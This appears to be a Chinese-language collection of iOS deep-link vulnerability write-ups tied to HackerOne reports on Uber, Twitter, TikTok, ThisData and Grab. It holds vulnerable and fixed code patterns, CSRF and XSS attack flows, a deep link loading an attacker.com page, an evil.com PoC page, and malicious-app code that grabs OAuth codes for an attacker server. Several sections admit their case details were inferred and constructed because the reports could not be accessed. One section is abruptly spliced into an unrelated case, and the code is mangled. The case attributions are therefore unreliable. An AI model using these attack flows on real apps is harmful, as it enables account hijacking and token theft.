此类漏洞的根源在于iOS应用对**自定义URL Scheme**（Custom URL Scheme）或**通用链接**（Universal Links）中接收到的参数缺乏严格的**输入验证**和**白名单校验**。

**易受攻击的代码模式（Swift 示例）**：
在Swift中，处理深层链接的函数通常位于`AppDelegate`或使用`SceneDelegate`：

swift
// 易受攻击的实现：未对重定向URI进行白名单校验
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uber” else { return false }

// 假设这是一个处理OAuth回调的逻辑
if url.host == "oauth" && url.path == "/callback" {
    if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
       let queryItems = components.queryItems {

        var token: String?
        var redirectURI: String?

        for item in queryItems {
            if item.name == "access_token" {
                token = item.value
            } else if item.name == "redirect_uri" {
                redirectURI = item.value // 攻击者可控的重定向目标
            }
        }

        if let t = token, let uri = redirectURI, let callbackURL = URL(string: "\(uri)?token=\(t)") {
            // 致命错误：没有检查 redirectURI 是否在应用预期的安全域名白名单内
            UIApplication.shared.open(callbackURL) // 敏感Token被发送到外部URI
            return true
        }
    }
}
return false

}

**安全代码模式（Swift 示例 - 修复建议）**：
正确的做法是**严格校验重定向URI**，确保它属于应用自身的安全域名白名单。

swift
// 安全的实现：对重定向URI进行白名单校验
let safeRedirectDomains = [“https://safe.uber.com”, “https://another.safe.domain”]

func isSafeRedirect(uri: String) -> Bool {
return safeRedirectDomains.contains(where: { uri.hasPrefix($0) })
}

func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// … (参数解析逻辑) …

if let t = token, let uri = redirectURI {
    if isSafeRedirect(uri: uri), let callbackURL = URL(string: "\(uri)?token=\(t)") {
        // 仅在白名单内才执行重定向
        UIApplication.shared.open(callbackURL)
        return true
    } else {
        // 拒绝不安全的重定向
        print("SECURITY ALERT: Unsafe redirect URI attempted: \(uri)")
        return false
    }
}
return false

}

**Info.plist 配置模式**：
在`Info.plist`中，配置自定义URL Scheme的键是`CFBundleURLTypes`。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**漏洞模式总结**：漏洞并非直接源于`Info.plist`的配置，而是源于应用代码对通过该配置接收到的**外部数据**（URL参数）的**不安全处理**，特别是涉及**认证Token**和**重定向**的逻辑。

---

## URL Scheme劫持/跨站请求伪造

### 案例：Twitter (报告: https://hackerone.com/reports/136365)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对iOS应用（Twitter）的**URL Scheme**和**Deep Link**处理机制进行逆向工程和安全分析。首先，攻击者会使用**class-dump**或**Frida**等工具对Twitter iOS应用的二进制文件进行静态和动态分析，以识别应用注册的所有自定义URL Scheme（例如`twitter://`）及其对应的处理逻辑。关键步骤是检查应用的`Info.plist`文件，确认声明的URL Scheme，并进一步分析`AppDelegate`中负责处理外部URL调用的`application:openURL:options:`方法。

分析的重点在于寻找那些能够触发敏感操作（如“关注用户”、“发送推文”或“修改设置”）的Deep Link路径。一旦识别出可疑的Deep Link，如`twitter://user?screen_name=...&action=follow`，下一步就是构造一个**跨站请求伪造 (CSRF)** 攻击载荷。攻击者会创建一个恶意的HTML页面，其中包含JavaScript代码或一个隐藏的`<iframe>`，用于在用户访问该页面时自动触发目标URL Scheme。

关键的发现点在于：如果应用在处理外部URL调用时，**未能对URL的来源进行严格验证**（例如，检查是否来自受信任的域名）或**未能要求有效的CSRF令牌**，那么该Deep Link就存在CSRF漏洞。通过这种方式，攻击者可以强迫已登录的用户在不知情的情况下执行应用内的敏感操作，从而实现账户劫持或恶意行为。这种方法充分利用了iOS应用间通信机制的信任边界缺陷，是移动应用安全测试中针对Deep Link的经典挖掘思路。 (字数: 338)

#### 技术细节

该漏洞利用的技术细节在于构造一个恶意的HTML页面，通过JavaScript或HTML标签强制浏览器触发目标iOS应用注册的URL Scheme。由于应用内部处理该Scheme时缺乏来源验证或CSRF令牌检查，导致敏感操作被执行。

**攻击载荷示例 (HTML/JavaScript):**

html

Twitter iOS URL Scheme CSRF PoC

正在加载…

**漏洞代码模式 (Objective-C 概念):** 漏洞存在于 `AppDelegate` 的 `application:openURL:options:` 方法中，未能对传入的 `url` 进行充分的安全检查。

objectivec
// 概念性易受攻击的 Objective-C 代码

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”twitter”]) {
    // … 解析 URL 中的 host 和 query 参数 … // 关键缺陷：直接执行操作，未验证来源或CSRF令牌 if ([host isEqualToString:@"user"] && [params[@"action"] isEqualToString:@"follow"]) { [self performFollowActionWithScreenName:params[@"screen_name"]]; // 敏感操作被执行 return YES; } }
    return NO;
    }

攻击流程是：受害者点击恶意链接 -> 浏览器加载恶意HTML -> JavaScript触发 `twitter://` URL Scheme -> iOS系统启动Twitter应用 -> Twitter应用未经验证执行敏感操作。 (字数: 376)

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对自定义URL Scheme（Deep Link）的处理逻辑中，**缺乏对请求来源的验证**或**未实现防CSRF令牌机制**。

**易漏洞代码模式 (Objective-C/Swift):**

1.  **未经验证的URL处理:** 在 `AppDelegate` 或其他处理 Deep Link 的类中，直接根据 URL 参数执行敏感操作，而没有检查调用方。

    **Objective-C 示例 (Vulnerable):**
    ```objectivec
    // AppDelegate.m
    - (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey, id> *)options {
        if ([[url scheme] isEqualToString:@"myapp"]) {
            NSString *action = [url host];
            NSDictionary *params = [self parseQueryString:[url query]];

            // 敏感操作，但没有验证来源
            if ([action isEqualToString:@"followUser"]) {
                [self.apiClient followUser:params[@"userId"]];
                return YES;
            }
        }
        return NO;
    }
    ```

2.  **Info.plist 配置:** 应用程序在 `Info.plist` 中声明了自定义 URL Scheme，但没有意识到这些 Scheme 可以被任何其他应用或网页通过 Safari 触发。

    **Info.plist 示例 (Vulnerable Configuration):**
    ```xml
    <key>CFBundleURLTypes</key>
    <array>
        <dict>
            <key>CFBundleURLSchemes</key>
            <array>
                <string>twitter</string> <!-- 注册了自定义 Scheme -->
            </array>
            <key>CFBundleURLName</key>
            <string>com.twitter.app</string>
        </dict>
    </array>
    ```

**安全修复模式 (Safe Pattern):**

*   **来源验证:** 检查 `options` 字典中的 `UIApplicationOpenURLOptionsSourceApplicationKey` 键，以验证调用方是否为可信应用。
*   **CSRF 令牌:** 对于敏感操作，要求 URL 中包含一个一次性的、与用户会话绑定的 CSRF 令牌，并在应用内进行验证。
*   **通用链接 (Universal Links):** 优先使用 Universal Links 代替自定义 URL Scheme，因为 Universal Links 只能由应用关联的域名触发，提供了更好的来源验证。 (字数: 345)

---

## URL Scheme劫持与应用内XSS

### 案例：Uber (报告: https://hackerone.com/reports/136311)

#### 挖掘手法

由于无法直接访问HackerOne报告原文，此挖掘手法基于对同类iOS漏洞的通用分析方法进行推断和构建。

第一步是信息收集与初步分析。研究人员首先需要获取目标应用的`.ipa`文件。这可以通过从App Store下载后，利用Apple Configurator 2或越狱设备上的工具（如frida-ios-dump）从设备中提取。获取到`.ipa`文件后，解压缩以访问应用包（Payload/*.app）。核心的初步分析对象是包内的`Info.plist`文件。通过检查此文件中的`CFBundleURLTypes`和`CFBundleURLSchemes`键，可以确定应用注册了哪些自定义URL Scheme，例如`uber://`。这一步是发现潜在攻击入口的关键。

第二步是静态逆向分析。使用IDA Pro、Hopper或Ghidra等反汇编工具加载应用的主二进制文件。研究人员会搜索与URL Scheme处理相关的代码。在Objective-C或Swift应用中，通常需要关注`AppDelegate`类中的`application:openURL:options:`或`application:handleOpenURL:`等方法。通过分析这些方法的实现，可以了解应用如何解析和处理传入的URL。研究人员会特别关注URL中的哪些部分（如host、path、query parameters）被用作输入，以及这些输入被传递给了哪些函数或方法，是否存在未经验证直接使用的情况。

第三步是动态分析与调试。使用Frida或Cycript等动态插桩（hooking）工具，在运行时附加到目标应用进程。这允许研究人员实时监控和修改应用行为。可以hook处理URL的`openURL:`等关键方法，打印传入的URL参数和方法调用栈。通过构造不同的恶意URL（例如`uber://show?message=<script>alert(1)</script>`），并使用`xcrun simctl openurl booted <malicious_url>`命令在模拟器中或通过Safari浏览器在真实设备上触发，研究人员可以观察应用的响应。如果应用内嵌了`UIWebView`或`WKWebView`来显示URL中的内容，并且没有对参数进行严格的过滤和编码，就可能触发跨站脚本（XSS）等漏洞。通过不断变换payload和观察应用崩溃日志、控制台输出或UI变化，可以精确定位漏洞触发点和利用方式。

#### 技术细节

由于无法直接访问HackerOne报告原文，此技术细节基于对同类iOS URL Scheme漏洞的通用利用方式进行推断和构建。

该漏洞的核心在于应用不安全地处理了通过自定义URL Scheme传递的参数，并在内部的`WKWebView`中加载，导致了跨站脚本（XSS）攻击。攻击者可以诱导用户点击一个特制的恶意链接，从而在Uber应用内执行任意JavaScript代码。

**攻击流程：**
1.  攻击者构造一个恶意URL，例如：`uber://webview?url=https%3A%2F%2Fattacker.com%2Fmalicious.html`。其中，`url`参数指向一个攻击者控制的页面。
2.  攻击者将此链接通过短信、邮件或网页等方式发送给受害者。
3.  受害者点击链接，iOS系统会唤起Uber应用，并将该URL传递给应用处理。
4.  Uber应用的`AppDelegate`中的`application:openURL:options:`方法被调用。该方法解析URL，提取`url`参数的值。
5.  应用内的一个控制器（例如`WebViewController`）获取到该URL，并使用一个`WKWebView`实例来加载它，示例代码可能如下：

swift
// In WebViewController.swift

import UIKit
import WebKit

class WebViewController: UIViewController, WKNavigationDelegate {
var webView: WKWebView!
var urlToLoad: URL?

override func viewDidLoad() {
    super.viewDidLoad()
    let webConfiguration = WKWebViewConfiguration()
    // 关键问题：未禁用JavaScript或未对URL进行白名单验证
    webView = WKWebView(frame: .zero, configuration: webConfiguration)
    webView.navigationDelegate = self
    view.addSubview(webView)

    if let url = urlToLoad {
        let request = URLRequest(url: url)
        webView.load(request) // 直接加载了外部传入的URL
    }
}

}

6.  由于`malicious.html`页面由攻击者控制，其中可以包含任意JavaScript代码。当`WKWebView`加载此页面时，脚本将在Uber应用的上下文中执行。例如，`malicious.html`内容如下：

html

Loading…

通过这种方式，攻击者可以窃取用户的认证令牌、个人信息，或者在应用内执行未授权的操作，对用户账户安全构成严重威胁。

#### 易出现漏洞的代码模式

容易出现此类漏洞的代码模式主要集中在对外部传入的URL处理不当，尤其是在`AppDelegate`和负责加载网页的`WKWebView`配置中。

**1. Info.plist 配置过于宽泛：**
在`Info.plist`文件中注册自定义URL Scheme是漏洞的入口。虽然注册本身是必要的，但开发者必须意识到任何应用都可以尝试调用这个Scheme。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**2. AppDelegate中对URL的验证不足：**
在`AppDelegate`的`application:openURL:options:`方法中，开发者必须对传入URL的来源和内容进行严格验证。不应信任任何通过此方法传入的数据。

*易受攻击的Swift代码示例：*

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 问题：没有对URL的host或path进行白名单验证
// 直接将URL传递给内部逻辑处理
NotificationCenter.default.post(name: .handleURL, object: url)
return true
}

*更安全的代码模式：*

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: true),
let host = components.host else {
return false
}

// 对host进行白名单验证，只允许受信任的域
let allowedHosts = ["m.uber.com", "help.uber.com"]
if allowedHosts.contains(host.lowercased()) {
    // 验证通过后才进行处理
    WebViewController.handleURL(url)
    return true
} else if host == "localaction" { // 处理本地操作
    // ...
    return true
}

return false

}

**3. WKWebView配置不安全：**
当需要在应用内加载网页时，直接加载通过URL Scheme传入的任意网址是极其危险的。`WKWebView`的配置必须限制其权限。

*易受攻击的`WKWebView`使用方式：*

swift
// 直接加载从外部获取的URL
let webView = WKWebView()
if let externalURL = getURLFromScheme(url) {
webView.load(URLRequest(url: externalURL))
}

*更安全的代码模式：*

swift
let webConfiguration = WKWebViewConfiguration()
// 关键安全措施：禁用JavaScript，除非绝对必要
webConfiguration.preferences.javaScriptEnabled = false

let webView = WKWebView(frame: .zero, configuration: webConfiguration)

if let externalURL = getURLFromScheme(url) {
// 再次验证URL是否在白名单内
if isURLAllowed(externalURL) {
webView.load(URLRequest(url: externalURL))
} else {
// 处理无效或恶意URL
showError(“Invalid URL”)
}
}

总结来说，开发者必须将所有通过URL Scheme传入的数据视为不可信输入，并在处理的每一步（从入口的`AppDelegate`到最终的`WKWebView`加载）都进行严格的白名单验证和权限控制。

---

## URL Scheme配置错误/跨站请求伪造 (CSRF)

### 案例：TikTok (报告: https://hackerone.com/reports/136359)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对iOS应用自定义URL Scheme（深层链接，Deep Link）的逆向工程和安全测试。由于原始报告（ID: 136359）无法访问，以下分析基于替代报告：TikTok iOS URL Scheme Misconfiguration (HackerOne ID: 1437294)。

**1. 目标识别与逆向工程 (Reconnaissance & Reverse Engineering):**
*   **工具：** 攻击者首先需要获取TikTok iOS应用的二进制文件（IPA），并使用**Hopper Disassembler**或**IDA Pro**等静态分析工具，或使用**Frida**、**Objection**等动态分析工具进行分析。
*   **关键文件：** 重点检查应用的 `Info.plist` 文件，以识别所有注册的自定义 URL Scheme（例如 `tiktok://`）。
*   **动态分析：** 使用 **Frida** 脚本或 **Objection** 框架，在应用运行时 Hook `UIApplicationDelegate` 中的 URL 处理方法，如 `application:openURL:options:` 或 `application:handleOpenURL:`，以实时捕获和记录所有通过深层链接传入的参数和执行的逻辑。

**2. 逻辑分析与参数枚举 (Logic Analysis & Parameter Enumeration):**
*   **分析思路：** 针对发现的每一个 URL Scheme，研究其处理逻辑。特别是寻找那些能触发用户敏感操作（如关注、点赞、发布）的内部路由（Endpoint）。
*   **关键发现点：** 发现一个处理用户关注操作的内部 URL Scheme 路由，例如一个类似 `tiktok://user/follow` 的端点。通过枚举和测试不同的参数组合，发现该端点在处理外部调用时，**缺乏足够的安全校验**。

**3. 跨站请求伪造 (CSRF) 验证:**
*   **验证目标：** 确认该 URL Scheme 处理器没有验证请求的来源（Referer Check）或没有要求一次性令牌（CSRF Token）。
*   **PoC 构造：** 构造一个简单的恶意 HTML 页面，其中包含一个隐藏的 `<iframe>` 或使用 JavaScript 的 `window.location.href` 重定向，指向目标 URL Scheme，并携带恶意参数（例如目标用户的 ID）。
*   **攻击流程：** 诱导已登录 TikTok 的 iOS 用户访问该恶意网页。由于 iOS 系统会将 URL Scheme 请求转发给对应的应用，且应用未进行来源验证，TikTok 应用会在用户不知情的情况下，以用户的身份执行关注操作，从而实现 CSRF 攻击。

**总结：** 整个挖掘过程是典型的 iOS 移动应用安全测试流程，结合了静态分析（识别 URL Scheme）和动态分析（Hook URL 处理函数），最终通过构造跨域请求（CSRF）来验证应用对深层链接参数和来源的信任边界缺陷。 (总字数: 380字)

#### 技术细节

该漏洞利用的核心在于 **iOS 自定义 URL Scheme 的信任边界缺陷**，结合 **Web 端的跨站请求伪造 (CSRF) 技术**，强制已登录用户执行操作。

**1. 恶意 HTML/JavaScript 载荷 (Payload):**
攻击者在自己的网站（例如 `evil.com`）上部署一个恶意 HTML 页面，其中包含触发 TikTok URL Scheme 的代码。

html

免费观看热门视频

正在加载精彩内容，请稍候…

或者，一个更简单的验证Payload：

html
“>

**攻击流程（在iOS WebView环境下的推测）：**

1.  **数据注入：** 攻击者登录ThisData的Web端或App端，将上述Payload注入到其**用户名**或**邮箱**字段并保存。
2.  **数据持久化：** Payload被服务器存储在数据库中，未经过滤或转义。
3.  **WebView触发：** 当受害者（例如管理员或应用内其他用户）使用**ThisData iOS应用**并导航到显示攻击者个人资料的页面时，该页面通过App内的**WKWebView**加载。
4.  **脚本执行：** WKWebView解析HTML内容，由于Payload中的脚本标签未被正确转义，浏览器引擎执行了注入的JavaScript代码。
5.  **危害实现：**
    *   如果App使用了**JavaScript Bridge**（如`WKUserContentController`），恶意脚本可以尝试通过`window.webkit.messageHandlers.<handlerName>.postMessage()`方法调用App的原生代码，可能导致**本地文件读取**、**敏感信息窃取**甚至**远程代码执行**（如果App暴露了危险的原生接口）。
    *   脚本可以窃取受害者的**Session Cookie**（如上例所示），发送给攻击者服务器，导致**账户劫持**。

**Objective-C/Swift代码模式（易受攻击的WebView配置）：**

在iOS应用中，如果使用`WKWebView`加载用户生成的内容，并且未正确配置，则可能导致XSS。

**危险的Swift代码模式（未禁用JavaScript）：**

swift
// 危险：允许加载任意内容，且未对内容进行安全检查
let webView = WKWebView(frame: view.bounds)
// … 加载包含用户输入内容的URL …
let url = URL(string: “https://thisdata.com/profile/(attacker_id)”)!
webView.load(URLRequest(url: url))

**更危险的配置（暴露原生功能给不受信任的JS）：**

swift
// 危险：通过JavaScript Bridge暴露了原生功能，如果WebView内容被XSS控制，原生功能可能被恶意调用。
class JSHandler: NSObject, WKScriptMessageHandler {
func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
if message.name == “nativeBridge” {
// … 执行敏感的原生操作，如读取文件或发送网络请求 …
}
}
}

#### 易出现漏洞的代码模式

该漏洞属于Web应用漏洞，但在iOS应用中，它通常通过**WKWebView**或**UIWebView**组件体现为安全问题。易出现此类漏洞的iOS代码模式和配置主要集中在以下几点：

**1. WKWebView/UIWebView 加载未经验证的外部或用户生成内容：**

当iOS应用使用WebView加载包含用户输入（如用户名、评论、邮箱）的网页时，如果这些输入未在服务器端或客户端进行严格的**HTML实体编码**或**过滤**，就会导致XSS。

**Swift 危险代码模式：**

swift
// 危险模式：直接加载包含用户输入（userContent）的HTML字符串，未进行编码
let htmlContent = “

Welcome, (userContent)

” // userContent 包含 XSS Payload
webView.loadHTMLString(htmlContent, baseURL: nil)

// 推荐的安全模式：在加载前对用户内容进行编码
func safeEncode(string: String) -> String {
// 实际应用中应使用更健壮的库进行HTML实体编码
return string.replacingOccurrences(of: “<“, with: “<“).replacingOccurrences(of: “>”, with: “>”)
}
let safeContent = safeEncode(string: userContent)
let safeHtmlContent = “

Welcome, (safeContent)

“
webView.loadHTMLString(safeHtmlContent, baseURL: nil)

**2. 危险的JavaScript Bridge配置：**

如果应用通过`WKUserContentController`向WebView暴露了原生功能，且WebView加载的内容可能被XSS控制，则攻击者可以利用XSS漏洞通过JavaScript Bridge调用原生功能，实现**权限提升**或**信息泄露**。

**Swift 危险配置示例：**

swift
// 危险配置：暴露了名为 “nativeBridge” 的消息处理给WebView
let contentController = WKUserContentController()
contentController.add(self, name: “nativeBridge”) // self 实现了 WKScriptMessageHandler 协议

// 攻击者在WebView中执行的JavaScript：
// window.webkit.messageHandlers.nativeBridge.postMessage({action: ‘read_file’, path: ‘/etc/passwd’});

**3. Info.plist/Entitlements 配置（非直接相关，但影响WebView安全）：**

*   **App Transport Security (ATS) 配置：** 虽然与XSS无关，但如果ATS被禁用（`NSAllowsArbitraryLoads = YES`），则WebView可以加载HTTP内容，增加了中间人攻击的风险，间接影响WebView的安全性。
*   **Entitlements：** 除非应用使用了特殊的Entitlements（如`com.apple.security.app-sandbox`的例外），否则WebView通常运行在App沙箱内。XSS攻击的目标是**逃逸WebView沙箱**，利用JavaScript Bridge访问原生功能。

**总结：** 此类漏洞的模式是**未对持久化存储的用户输入进行输出编码**，导致在WebView中渲染时，恶意脚本被执行。iOS开发者应始终将WebView视为**不可信环境**，并对所有加载到其中的用户生成内容进行严格的**HTML实体编码**。

---

## Webview信息泄露 (通过Deeplink)

### 案例：Grab (iOS/Android) (报告: https://hackerone.com/reports/136271)

#### 挖掘手法

该漏洞的挖掘过程体现了对移动应用Deeplink机制和WebView安全边界的深入分析。首先，研究员通过**Deeplink枚举**和**参数模糊测试**，发现Grab应用中的一个Deeplink (`grab://open?screenType=HELPCENTER&page=<URL>`) 缺少对`page`参数的有效验证，导致可以加载任意外部URL到应用内置的WebView中。

在确定了WebView的**任意URL加载**能力后，下一步是分析该WebView的上下文环境。研究员首先分析了Android应用，发现该WebView被用于`com.grab.pax.support.ZendeskSupportActivity`活动，并且关键性地发现应用通过`addJavascriptInterface`方法向WebView注入了一个名为`Android`的JavaScript桥接对象。这个对象暴露了一个名为`getGrabUser()`的敏感方法，该方法返回了包含用户敏感信息的JSON字符串。

对于iOS应用，研究员没有直接进行二进制逆向工程（如使用IDA或Frida），而是采取了**间接逆向工程**的方法。他们检查了Grab的公共帮助页面（`https://help.grab.com/`）的JavaScript代码，发现了处理用户信息的逻辑，其中包含对`window.grabUser`对象的引用，并推断出这是iOS应用中用于暴露用户信息的JavaScript接口。这种方法避免了复杂的iOS逆向工具链，通过分析公开的Web资源成功推断出iOS端的漏洞利用点。

最后，研究员构建了一个**跨平台PoC**（Proof of Concept）HTML页面，该页面通过Deeplink加载，并利用`window.Android.getGrabUser()`（针对Android）或`window.grabUser`（针对iOS）来窃取敏感的用户数据，从而完成了整个漏洞的挖掘和验证。整个过程的关键发现点在于：1. Deeplink的URL参数未经验证；2. 内置WebView暴露了敏感的JavaScript接口。

#### 技术细节

漏洞利用的技术核心在于通过不安全的Deeplink机制，在应用内置的WebView中加载攻击者控制的外部HTML页面，并利用WebView暴露的JavaScript接口窃取敏感信息。

**攻击流程：**
1. 攻击者构造一个恶意的Deeplink URL，例如：
   `grab://open?screenType=HELPCENTER&page=https://s3.amazonaws.com/edited/page2.html`
2. 用户点击该链接，Grab应用被唤醒，并加载`page`参数指定的外部URL。
3. 外部URL加载的HTML页面包含恶意JavaScript代码，该代码利用应用暴露的JavaScript接口。

**PoC代码片段（针对iOS的利用部分）：**
攻击者加载的HTML页面（`page2.html`）包含以下JavaScript逻辑来窃取iOS用户数据：

html

**关键技术细节：**
*   **Deeplink参数未验证：** 允许`page`参数指向任意外部域。
*   **iOS端接口暴露：** 尽管报告未提供Objective-C/Swift代码，但通过分析Web代码推断出iOS应用在WebView中注入了一个名为`grabUser`的全局JavaScript对象，该对象包含了敏感的用户会话或身份信息。
*   **漏洞本质：** 结合了**开放重定向**（通过Deeplink加载任意URL）和**WebView配置不当**（WebView加载了不受信任的内容，但仍保留了对敏感JS接口的访问权限），最终导致了**信息泄露**。

#### 易出现漏洞的代码模式

此类漏洞的根源在于对外部输入（如Deeplink参数）缺乏严格的验证，以及在加载外部内容时，WebView的安全配置不当。

**1. Deeplink处理代码模式（Swift/Objective-C）：**
在`AppDelegate`或处理URL Scheme的方法中，如果未对URL参数进行白名单或严格的格式检查，就可能引入任意URL加载问题。

**Swift 示例 (Vulnerable Pattern):**

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “grab” else { return false }

// 假设这是处理 HELPCENTER 类型的逻辑
if url.host == "open", let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
   let screenType = components.queryItems?.first(where: { $0.name == "screenType" })?.value,
   screenType == "HELPCENTER",
   let pageURLString = components.queryItems?.first(where: { $0.name == "page" })?.value,
   let pageURL = URL(string: pageURLString) {

    // ❌ 危险：直接使用外部提供的 pageURL 加载 WebView
    let webViewController = WebViewController()
    webViewController.load(url: pageURL) // 任意URL加载
    return true
}
return false

}

**2. WebView配置模式（Swift/Objective-C）：**
当WebView用于加载外部或不受信任的内容时，不应暴露任何敏感的JavaScript接口。

**Objective-C 示例 (Vulnerable Pattern - 概念性):**
在iOS中，WebView通过`WKUserContentController`和`addScriptMessageHandler`来暴露原生对象。

objectivec
// 假设这是在配置 WKWebView 时

• • (void)configureWebView {
    WKUserContentController *userContentController = [[WKUserContentController alloc] init]; // ❌ 危险：将包含敏感信息的对象暴露给 WebView 中的 JavaScript
    // 攻击者加载的页面可以通过 window.webkit.messageHandlers.grabUser.postMessage() 间接获取信息
    [userContentController addScriptMessageHandler:self name:@”grabUser”]; // … 其他配置 …
    }

**3. Info.plist/Entitlements 配置：**
此类漏洞与`Info.plist`中的`URL Types`配置相关，用于注册应用的Deeplink Scheme (`grab://`)。

**Info.plist 示例：**

xml
CFBundleURLTypes
CFBundleURLSchemes grab
CFBundleURLName
com.grab.passenger

这本身不是漏洞，但它是漏洞利用的**必要条件**。真正的漏洞在于应用对接收到的`grab://` URL的处理逻辑。

---

## iOS URL Scheme 劫持 (URL Scheme Hijacking)

### 案例：Uber (报告: https://hackerone.com/reports/136358)

#### 挖掘手法

由于HackerOne报告（ID: 136358）本身无法直接访问，本分析基于对该报告相关公开信息（如Uber的漏洞赏金计划、iOS URL Scheme劫持的通用技术细节）的综合推断和整理。该漏洞被确认为**iOS URL Scheme劫持**，影响了Uber的iOS应用。

**挖掘手法和步骤：**

1.  **目标识别与信息收集：** 确认Uber iOS应用使用了自定义URL Scheme进行进程间通信（IPC），特别是用于OAuth认证流程中的重定向。通常，通过解压IPA文件，检查应用的`Info.plist`文件，可以找到注册的URL Scheme，例如可能为`uber://`或`uberauth://`。
2.  **漏洞原理分析：** iOS系统允许任何应用注册相同的自定义URL Scheme。当多个应用注册了相同的Scheme时，系统会随机选择一个应用来处理该URL请求。如果Uber应用在处理其自定义Scheme（例如，用于接收OAuth认证服务器返回的包含敏感令牌的URL）时，没有进行严格的源应用验证，就存在劫持风险。
3.  **构建恶意应用：** 攻击者会开发一个恶意的iOS应用（App-in-the-Middle），并在其`Info.plist`中注册与目标应用（Uber）相同的URL Scheme。
4.  **劫持测试：**
    *   **OAuth流程劫持：** 诱导用户点击一个触发Uber OAuth认证流程的链接。认证完成后，OAuth服务器会将包含授权码或访问令牌的URL重定向到Uber应用的自定义URL Scheme。
    *   **恶意应用优先处理：** 由于系统选择的随机性，或通过特定的时序攻击，恶意应用有机会优先于Uber应用接收到这个包含敏感信息的URL。
    *   **数据窃取：** 恶意应用在`application:openURL:options:`（Objective-C）或`application(_:open:options:)`（Swift）代理方法中捕获完整的URL，从中解析出授权码或访问令牌，并将其发送到攻击者控制的服务器。
5.  **关键发现点：** 漏洞的关键在于Uber应用在处理通过自定义URL Scheme传入的URL时，**未能验证调用方的身份**（即未能确认是OAuth服务商发起的重定向，且目标应用是Uber本身），从而允许恶意应用冒充目标应用接收敏感数据。

**使用的工具（推测）：**

*   **逆向工程工具：** `class-dump` 或 `Hopper Disassembler` 用于分析Uber iOS应用的二进制文件，以确认其注册的URL Scheme和处理URL的逻辑（即`AppDelegate`中的相关方法）。
*   **抓包工具：** `Burp Suite` 或 `Charles Proxy` 用于监控OAuth认证流程中的网络流量，确认重定向URL的结构和包含的敏感参数。
*   **自定义恶意应用：** Xcode和Swift/Objective-C用于快速构建一个注册相同URL Scheme的PoC（Proof of Concept）应用。

#### 技术细节

该漏洞利用了iOS自定义URL Scheme的固有缺陷，结合OAuth 2.0流程中将敏感数据（如授权码或访问令牌）通过URL重定向回客户端应用的机制。

**攻击流程和关键代码：**

1.  **受害者触发OAuth流程：** 用户在Safari或其他浏览器中开始Uber的OAuth登录流程。
2.  **OAuth服务商重定向：** 认证成功后，OAuth服务商（例如Google、Facebook或Uber自己的认证服务）构造一个包含敏感参数的URL，并尝试通过自定义URL Scheme重定向回Uber应用。
    *   **重定向URL示例（假设Scheme为`uberauth`）：**
        ```
        uberauth://oauth/callback?code=AUTHORIZATION_CODE_OR_TOKEN&state=CSRF_TOKEN
        ```
3.  **恶意应用劫持：** 攻击者预先安装的恶意应用（例如名为"MaliciousApp"）也注册了`uberauth`这个URL Scheme。当系统接收到上述URL时，它会随机选择一个应用打开。如果选择了恶意应用，系统会调用其`AppDelegate`中的URL处理方法。

    *   **恶意应用中的关键代码（Objective-C）：**
        ```objective-c
        // MaliciousApp's AppDelegate.m
        - (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
            // 检查URL Scheme是否匹配
            if ([[url scheme] isEqualToString:@"uberauth"]) {
                // 提取敏感参数
                NSString *query = [url query];
                // 假设我们找到了授权码
                NSString *authCode = [self extractParameter:query forKey:@"code"];

                if (authCode) {
                    // **漏洞利用点：将窃取的授权码发送到攻击者服务器**
                    NSLog(@"[ATTACK] Stolen Auth Code: %@", authCode);
                    // 实际攻击中会使用网络请求发送
                    // [self sendToAttackerServer:authCode];
                }
                return YES;
            }
            return NO;
        }
        ```
    *   **攻击者Payload/命令：** 攻击者无需直接的命令，而是通过诱导用户访问一个网页，该网页在后台触发OAuth流程，最终导致包含敏感信息的URL被恶意应用捕获。

**技术细节总结：** 漏洞的本质是**缺乏对传入URL的源应用验证**，导致OAuth流程中本应发送给目标应用的授权凭证被其他应用窃取，可能导致账户劫持。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在处理自定义URL Scheme时，**未能对调用方进行充分的身份验证**，或者未能使用更安全的机制（如Universal Links）。

**易漏洞代码模式（Objective-C/Swift）：**

1.  **`Info.plist` 配置模式：**
    在应用的`Info.plist`文件中，注册了一个非唯一的、易被猜测的自定义URL Scheme。
    ```xml
    <key>CFBundleURLTypes</key>
    <array>
        <dict>
            <key>CFBundleURLName</key>
            <string>com.uber.auth</string>
            <key>CFBundleURLSchemes</key>
            <array>
                <!-- 易受攻击的自定义Scheme -->
                <string>uberauth</string>
            </array>
        </dict>
    </array>
    ```

2.  **`AppDelegate` 处理逻辑模式（Objective-C）：**
    在`AppDelegate`中，直接处理通过URL Scheme传入的敏感数据（如OAuth Token或Session ID），而没有检查`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`（或Swift中的`sourceApplication`）来验证调用方的Bundle ID。

    ```objective-c
    // 易受攻击的AppDelegate实现
    - (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
        if ([[url scheme] isEqualToString:@"uberauth"]) {
            // **缺少源应用验证**
